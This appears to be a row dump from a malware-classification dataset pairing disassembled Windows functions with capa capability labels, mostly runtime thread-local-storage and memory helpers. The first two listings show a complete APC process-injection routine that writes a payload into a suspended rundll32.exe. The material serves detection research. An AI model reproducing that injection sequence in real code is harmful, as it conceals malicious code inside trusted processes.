joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40789c
Capabilities:
Inject apc
Use process replacement

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd0
xor eax, eax
xor r9d, r9d
xor r8d, r8d
lea rdi, [rsp + 0x68]
mov rsi, rcx
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x50]
mov ecx, 6
mov rbx, rdx
rep stosd dword [rdi], eax
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32_rundll32.exe
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r12, qword [rsp + 0x50]
mov r8, rbx
xor edx, edx
mov rdi, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov r8, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbp, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0xd0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x004c68f0]
movsxd rdx, dword [rax]
mov rax, qword [0x004c68e0]
mov rcx, qword [rax]
jmp 0x407790
sub rsp, 0x28
call fcn.00407887
nop
add rsp, 0x28
jmp 0x40789c

Function at 0x4078b7
Capabilities:
Inject apc
Use process replacement

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd0
xor eax, eax
xor r9d, r9d
xor r8d, r8d
lea rdi, [rsp + 0x68]
mov rsi, rcx
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x50]
mov ecx, 6
mov rbx, rdx
rep stosd dword [rdi], eax
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32_rundll32.exe
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r12, qword [rsp + 0x50]
mov r8, rbx
xor edx, edx
mov rdi, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov r8, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbp, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0xd0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x004c68f0]
movsxd rdx, dword [rax]
mov rax, qword [0x004c68e0]
mov rcx, qword [rax]
jmp 0x407790
sub rsp, 0x28
call fcn.00407887
nop
add rsp, 0x28
jmp 0x40789c
Function at 0x4116c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004cc844]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x411848
mov rax, qword [0x004cc848]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x41170c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x411795
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4116f0
mov rcx, rbx
call fcn.00412360
test rax, rax
mov r12, rax
je 0x41187d
mov rax, qword [0x004cc848]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00412490
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004cc848]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x411860
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x41178e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4117f0
add dword [0x004cc844], 1
cmp edi, 8
jae 0x4117c3
test dil, 4
jne 0x411834
test edi, edi
je 0x4117b8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x41184f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4117b8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x4117dc
jmp 0x4117b8
add rsi, qword [0x004cc848]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41178e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0041b2a0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4117b8
xor esi, esi
jmp 0x411717
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4117b8
mov rax, qword [0x004cc848]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.0041b2a0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0041b2a0
nop
nop dword [rax]

Function at 0x411fd0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004ccb20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004ccb00]
test rbx, rbx
je 0x412024
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x41201b
test rsi, rsi
je 0x41201b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x412000
lea rcx, [0x004ccb20]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x412360
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004c67a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4123cd
mov rcx, r8
call fcn.00412240
test eax, eax
je 0x4123cd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4123cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4123c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4123cf
add rax, 0x28
cmp rax, r9
jne 0x4123b0
xor eax, eax
add rsp, 0x28
ret

Function at 0x412a90
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x412ac1
xor edx, edx
mov ecx, eax
mov dword [0x004ccb70], eax
call fcn.004186a0
test eax, eax
sete al
movzx eax, al
mov dword [0x0041c458], eax
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x412aae

Function at 0x412be0
Capabilities:
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rdx]
mov rdi, qword [rcx + 0x10]
mov rbp, qword [rcx + 0x18]
test rax, rax
mov rsi, rcx
mov rbx, rdx
je 0x412c84
mov r12, qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop dword [rax]
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0xa
mov ecx, 1
mov r13, qword [rax + 0x30]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbx
call rdi
test eax, eax
jne 0x412ca4
test r13, r13
je 0x412c5b
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0xa
mov ecx, 1
call r13
cmp eax, 7
je 0x412ca9
cmp eax, 8
jne 0x412ca4
mov rax, qword [rbx]
mov r13, qword [rax]
mov eax, dword [0x0041c458]
test eax, eax
js 0x412ce0
test eax, eax
jne 0x412cc0
mov qword [0x004ccb78], r13
mov rax, qword [rbx]
mov rax, qword [rax]
test rax, rax
mov qword [rbx], rax
jne 0x412c10
mov qword [rsp + 0x28], rbp
mov r9, rsi
mov r8, qword [rsi]
mov edx, 0x1a
mov qword [rsp + 0x20], rbx
mov ecx, 1
call rdi
test eax, eax
je 0x412cf0
mov eax, 2
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rdx, r13
mov ecx, dword [0x004ccb70]
call r12
test eax, eax
jne 0x412c76
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x412c76
call fcn.00412ad0
mov eax, dword [0x0041c458]
jmp 0x412c6b
mov eax, 5
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x412d10
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [0x0041c458]
test eax, eax
mov rbx, rcx
js 0x412d90
test eax, eax
jne 0x412d43
mov rax, qword [0x004ccb78]
mov qword [0x004ccb78], rbx
mov qword [rbx], rax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edi, dword [0x004ccb70]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
call rsi
mov ebp, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, ebp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rbx], rdi
mov rdx, rbx
mov ecx, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x412d3a
mov rax, rsi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
call fcn.00412ad0
mov eax, dword [0x0041c458]
jmp 0x412d25

Function at 0x412da0
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [0x0041c458]
mov rbx, qword [rcx]
test eax, eax
js 0x412de2
test eax, eax
jne 0x412dc3
mov qword [0x004ccb78], rbx
add rsp, 0x20
pop rbx
ret
mov rdx, rbx
mov ecx, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x412dbd
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.00412ad0
mov eax, dword [0x0041c458]
jmp 0x412db2
Function at 0x412eb0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [0x0041c458]
test eax, eax
mov rbx, rcx
js 0x412fb0
test eax, eax
mov rdi, qword [0x004ccb78]
jne 0x412f80
test rdi, rdi
mov qword [rsp + 0x38], rdi
je 0x412f60
lea rsi, [rsp + 0x38]
mov rax, rdi
jmp 0x412f07
cmp eax, 8
jne 0x412f70
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
test rax, rax
mov qword [rsp + 0x38], rax
je 0x412f60
mov rax, qword [rax + 0x30]
test rax, rax
je 0x412ef5
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, qword [rbx]
mov edx, 1
mov ecx, 1
call rax
cmp eax, 6
jne 0x412ef0
mov rax, qword [rsp + 0x38]
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], rax
call fcn.00412a00
cmp eax, 7
je 0x412fc0
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov eax, 5
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov eax, 3
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov edi, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x412ed7
call fcn.00412ad0
mov eax, dword [0x0041c458]
jmp 0x412ec8
mov rcx, rsi
call fcn.00412b70
nop
nop dword [rax]
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, dword [0x0041c458]
mov rbp, rdx
mov rdi, r8
test ecx, ecx
js 0x413050
test ecx, ecx
mov rsi, qword [0x004ccb78]
jne 0x413025
mov qword [rsp + 0x28], rsi
lea rsi, [rsp + 0x28]
mov rcx, rbx
mov qword [rbx + 0x10], rbp
mov rdx, rsi
mov qword [rbx + 0x18], rdi
call fcn.00412be0
cmp eax, 7
je 0x41305d
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov esi, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r12d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x412ff8
call fcn.00412ad0
mov ecx, dword [0x0041c458]
jmp 0x412fed
mov rcx, rsi
call fcn.00412b70
nop
nop word cs:[rax + rax]
Function at 0x412fd0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov eax, dword [0x0041c458]
test eax, eax
mov rbx, rcx
js 0x412fb0
test eax, eax
mov rdi, qword [0x004ccb78]
jne 0x412f80
test rdi, rdi
mov qword [rsp + 0x38], rdi
je 0x412f60
lea rsi, [rsp + 0x38]
mov rax, rdi
jmp 0x412f07
cmp eax, 8
jne 0x412f70
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
test rax, rax
mov qword [rsp + 0x38], rax
je 0x412f60
mov rax, qword [rax + 0x30]
test rax, rax
je 0x412ef5
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, qword [rbx]
mov edx, 1
mov ecx, 1
call rax
cmp eax, 6
jne 0x412ef0
mov rax, qword [rsp + 0x38]
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], rax
call fcn.00412a00
cmp eax, 7
je 0x412fc0
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov eax, 5
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov eax, 3
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov edi, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x412ed7
call fcn.00412ad0
mov eax, dword [0x0041c458]
jmp 0x412ec8
mov rcx, rsi
call fcn.00412b70
nop
nop dword [rax]
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, dword [0x0041c458]
mov rbp, rdx
mov rdi, r8
test ecx, ecx
js 0x413050
test ecx, ecx
mov rsi, qword [0x004ccb78]
jne 0x413025
mov qword [rsp + 0x28], rsi
lea rsi, [rsp + 0x28]
mov rcx, rbx
mov qword [rbx + 0x10], rbp
mov rdx, rsi
mov qword [rbx + 0x18], rdi
call fcn.00412be0
cmp eax, 7
je 0x41305d
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov esi, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r12d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x412ff8
call fcn.00412ad0
mov ecx, dword [0x0041c458]
jmp 0x412fed
mov rcx, rsi
call fcn.00412b70
nop
nop word cs:[rax + rax]

Function at 0x413100
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
cmp qword [rcx + 0x10], 0
mov rbx, rcx
je 0x413145
mov edx, dword [0x0041c458]
test edx, edx
js 0x413183
test edx, edx
mov rsi, qword [0x004ccb78]
jne 0x413160
mov qword [rsp + 0x28], rsi
lea rsi, [rsp + 0x28]
mov rcx, rbx
mov rdx, rsi
call fcn.00412be0
cmp eax, 7
je 0x413152
call sub.msvcrt.dll_abort
call fcn.00412eb0
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
mov rcx, rsi
call fcn.00412b70
nop word [rax + rax]
mov esi, dword [0x004ccb70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x413126
call fcn.00412ad0
mov edx, dword [0x0041c458]
mov rsi, qword [0x004ccb78]
test edx, edx
je 0x413126
jmp 0x413160
Function at 0x413360
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x004ccb90], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x004ccb98], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4133b0
lea rdx, [0x00413280]
mov ecx, eax
mov dword [0x004ccb88], eax
call fcn.004186a0
test eax, eax
jne 0x4133b8
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4133a7
call sub.msvcrt.dll_abort
nop
nop
Function at 0x4133c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x004c6680]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x4133f4
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x413451
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rdi, qword [rcx + 0x10]
test rdi, rdi
je 0x4134a0
mov esi, dword [0x004ccb88]
mov rbp, qword [sym.imp.KERNEL32.dll_GetLastError]
call rbp
mov r12d, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r12d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x413460
mov r12, qword [rsi]
cmp r12, rdi
jb 0x413510
lea rsi, [rsi + rdi*8]
mov rax, qword [rsi]
test rax, rax
jne 0x4133e7
mov rcx, rbx
call fcn.004132c0
mov qword [rsi], rax
jmp 0x4133e7
call fcn.004132c0
mov qword [rbx + 0x10], rax
jmp 0x4133e7
lea rcx, [rdi + 0x21]
mov edx, 8
call sub.msvcrt.dll_calloc
lea r12, [rdi + 0x20]
test rax, rax
mov rsi, rax
je 0x4135f2
mov qword [rax], r12
mov rdx, rsi
mov ecx, dword [0x004ccb88]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x413438
call rbp
jmp 0x413438
mov r10d, dword [rsi]
test r10d, r10d
je 0x4134c6
mov r9d, dword [0x0041c460]
test r9d, r9d
je 0x41355a
lock add dword [0x004ccb90], 1
jne 0x4135a5
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x41358a
mov eax, dword [rsi]
test eax, eax
je 0x413401
mov eax, 0xffffffff
lock xadd dword [0x004ccb90], eax
sub eax, 1
js 0x413401
xor r8d, r8d
mov edx, 1
mov rcx, qword [0x004ccb98]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x413401
lea r13, [r12 + r12]
mov rcx, rsi
lea rax, [rdi + 0x20]
cmp rdi, r13
cmova r13, rax
lea rdx, [r13*8 + 8]
call sub.msvcrt.dll_realloc
test rax, rax
mov rsi, rax
je 0x4135f2
mov qword [rax], r13
lea rcx, [rax + r12*8 + 8]
sub r13, r12
xor edx, edx
lea r8, [r13*8]
call sub.msvcrt.dll_memset
jmp 0x413481
lock add dword [0x0041c464], 1
jne 0x4135cc
call fcn.00413360
mov dword [0x0041c460], 1
mov edx, dword [rsi]
test edx, edx
jne 0x4134b8
mov rdi, qword [rbx + 0x10]
test rdi, rdi
jne 0x413401
mov rax, qword [0x004ccb80]
lea rdi, [rax + 1]
mov qword [0x004ccb80], rdi
mov qword [rbx + 0x10], rdi
jmp 0x4134d3
mov edx, 0xffffffff
mov rcx, qword [0x004ccb98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4134c6
lock sub dword [0x004ccb90], 1
jmp 0x4134c6
mov r8d, dword [0x0041c460]
lea rdi, [0x0041c460]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
test r8d, r8d
jne 0x413573
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x4135e6
jmp 0x413573
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
cmp qword [rcx], rdx
jae 0x413610
mov qword [rcx], rdx
mov qword [rcx + 0x18], 0
cmp qword [rcx + 8], r8
jae 0x41361a
mov qword [rcx + 8], r8
test r9, r9
je 0x413624
cmp qword [rcx], rdx
je 0x413625
ret
mov qword [rcx + 0x18], r9
ret
Function at 0x4142f0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x414345
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x414330
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x4143c0
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
mov r8d, 1
cmovl r12d, edx
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
add r12d, 1
mov dword [rbx + 0xc], eax
call fcn.00413ba0
mov ecx, dword [rbx + 8]
mov rdx, rbx
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call fcn.00413770
mov rdx, rbx
mov rcx, rsi
add dword [rbx + 0xc], r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.00414010
mov eax, dword [0x0041c480]
cmp eax, 0xffffffff
je 0x4143f6
test eax, eax
je 0x4143e6
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x41434d
mov dword [0x0041c480], 0
call fcn.00418400
mov edx, 3
test al, 1
jne 0x4143cf
jmp 0x4143d4
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sub.msvcrt.dll_getenv
test rax, rax
je 0x4143dc
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
ja 0x4143dc
mov dword [0x0041c480], 1
jmp 0x4143cf

Function at 0x41a870
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x0041c600]
jmp fcn.004133c0

Function at 0x41b2a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00418300
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00418300
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
push rbp
mov rbp, rsp
pop rbp
jmp fcn.00401530
Function at 0x414040
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4141cb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042fe80
xorps xmm15, xmm15
mov r14, qword [0x00595408]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4140a5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4140b4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x4140d3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4140e3
cmp rbx, 0x1000
jae 0x4140ab
jmp 0x41414d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4140f5
xor edx, edx
jmp 0x414144
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042fe80
xorps xmm15, xmm15
mov r14, qword [0x00595408]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x4140d9
jmp 0x4140c8
call fcn.0045e520
xorps xmm15, xmm15
mov r14, qword [0x00595408]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004342a0
lea rax, [0x004a28da]
mov ebx, 0x18
nop dword [rax]
call fcn.00434b20
mov rax, qword [rsp + 0x38]
call fcn.00434860
lea rax, [0x004a2be1]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00434b20
mov rax, qword [rsp + 0x30]
call fcn.00434860
call fcn.004344e0
call fcn.00434300
lea rax, [0x004a477e]
mov ebx, 0x21
call fcn.00432900
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045ae60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00414040